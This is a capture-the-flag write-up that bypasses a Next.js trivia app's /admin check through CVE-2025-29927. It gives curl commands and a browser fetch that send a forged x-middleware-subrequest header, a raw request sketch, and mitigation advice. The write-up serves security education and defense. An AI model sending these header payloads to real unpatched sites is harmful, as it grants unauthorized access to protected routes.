CTF Writeup — Waterloo Trivia Dash

Bypassing Next.js middleware to claim the prize — CVE-2025-29927 in action

Target
Next.js trivia app with prize at /admin
Vuln class
Authorization bypass via x-middleware-subrequest
CVE
CVE-2025-29927
Flag
watctf{next_js_middleware_is_cool}

1) Challenge Overview

The page presents a simple three-question quiz about Waterloo. Upon completion, a button labeled Open Prize Page links to /admin. Directly visiting /admin returned 307 Temporary Redirect, implying a server-side check (middleware) before granting access.

Ground truth from bundle: The client bundle hardcodes the questions/answers and renders a Link to /admin after finishing the quiz:
// Simplified from chunk
<button class="font-bold py-2 px-4 rounded border">
  <Link href="/admin">Open Prize Page</Link>
</button>

2) Recon & Local Enumeration

2.1 Extracting answers

The questions/answers array is embedded in the /_next/static/chunks/app/page-*.js bundle. Not strictly required to exploit the bug, but useful for validation.

const a = [
  { prompt: "Which research institute is based in Waterloo?",
    options: ["CERN","Perimeter Institute for Theoretical Physics","Brookhaven National Laboratory","Max Planck Institute"],
    correctIndex: 1
  },
  { prompt: "Which university is in Waterloo?",
    options: ["Harvard University","University of Waterloo","UCLA","ETH Zürich"],
    correctIndex: 1
  },
  { prompt: "Which tech company was famously founded in Waterloo?",
    options: ["BlackBerry (RIM)","Nokia","Sony","Xiaomi"],
    correctIndex: 0
  }
];

2.2 Server behavior

Direct GET /admin triggered a 307 redirect. This strongly suggests middleware-based gating (e.g., “only allow if quiz completed”).

MethodPathResult
GET/admin307 Temporary Redirect
GET/200 OK

In such CTFs the check often relies on Next.js Middleware.

3) Vulnerability Background — CVE-2025-29927

Summary: Next.js accepted a special internal header, x-middleware-subrequest, from external clients. When present in specific forms, the framework would treat the request as an internal sub-request and skip middleware authorization logic, enabling an authorization bypass on routes protected by middleware.

3.1 Impact

  • Bypass of auth checks enforced in Next.js Middleware.
  • Unauthorized access to protected endpoints (e.g., /admin).
  • In some analyses, potential cache poisoning/DoS side-effects if abused aggressively.

3.2 Affected & Fixed Versions

Patched in Next.js 14.2.25 and 15.2.3 (see vendor advisory / NVD). Self-hosted apps on older versions remain vulnerable unless mitigated at the edge/WAF or upgraded.

Always verify on the official advisory sheet for your exact major/minor.

3.3 Why it works (high-level)

  1. Middleware inspects requests and decides whether to continue, redirect, or block.
  2. Next.js used x-middleware-subrequest to prevent internal looping/infinite recursion.
  3. Accepting this header from the public allowed attackers to signal “this is a subrequest”, causing the middleware path/logic to be skipped under certain conditions.

4) Exploitation (PoC)

From a terminal, send a request to the protected route with the crafted header. Depending on project structure, two common forms work:

4.1 App Router layout

curl -i -L \
  -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
  https://challs.watctf.org:3080/admin

The repeated tokens reflect how the router/middleware pipeline detects “subrequests”.

4.2 /src layout (variant)

curl -i -L \
  -H 'x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware' \
  https://challs.watctf.org:3080/admin

If the codebase uses /src/middleware.ts, this variant often succeeds.

Successful exploitation returns the admin page or prize content without legitimately completing server-side checks.

Observed Result

Flag retrieved:

watctf{next_js_middleware_is_cool}

5) Defense & Mitigation

5.1 Patch immediately

  • Upgrade to patched Next.js versions (e.g., 14.2.25 / 15.2.3 or newer).
  • Track vendor advisory notes for your major line.

5.2 Edge/WAF Workarounds

  • Block external requests that include x-middleware-subrequest.
  • Managed WAFs (e.g., Cloudflare) shipped rules to drop such traffic.

5.3 Architectural Hardening

  • Do not rely solely on Middleware for authorization decisions.
  • Enforce authorization in route handlers/server code too (defense in depth).
  • Normalize/strip untrusted internal headers at the ingress reverse proxy.

5.4 Verification Checklist

  • Attempt PoC after patching — ensure 403/302→/login instead of content.
  • Monitor logs for presence of x-middleware-subrequest from the Internet.
  • Run SCA/Dependabot/GitHub Advisories alerts for Next.js.

6) Reproduction Notes (Browser)

6.1 Quick probe

// In DevTools Console on the site
fetch('/admin', {
  redirect: 'manual',
  headers: {
    'x-middleware-subrequest': 'middleware:middleware:middleware:middleware:middleware'
  }
}).then(r => console.log(r.status, r.headers.get('Location')));

6.2 Legit quiz path (not needed for exploit)

(async () => {
  const answers = [
    "Perimeter Institute for Theoretical Physics",
    "University of Waterloo",
    "BlackBerry (RIM)"
  ];
  const sleep = ms => new Promise(r => setTimeout(r, ms));
  for (const a of answers) {
    const btn = [...document.querySelectorAll('button')]
      .find(b => b.textContent.trim() === a);
    if (btn) btn.click();
    await sleep(250);
  }
  location.href = '/admin';
})();

7) Lessons Learned

Appendix A — Minimal Request/Response Sketch

REQUEST:
GET /admin HTTP/1.1
Host: challs.watctf.org:3080
User-Agent: curl/8.6.0
Accept: */*
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

RESPONSE (sanitized):
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
... (admin/prize content) ...

References

All reproduction here was performed against the CTF challenge instance for educational purposes.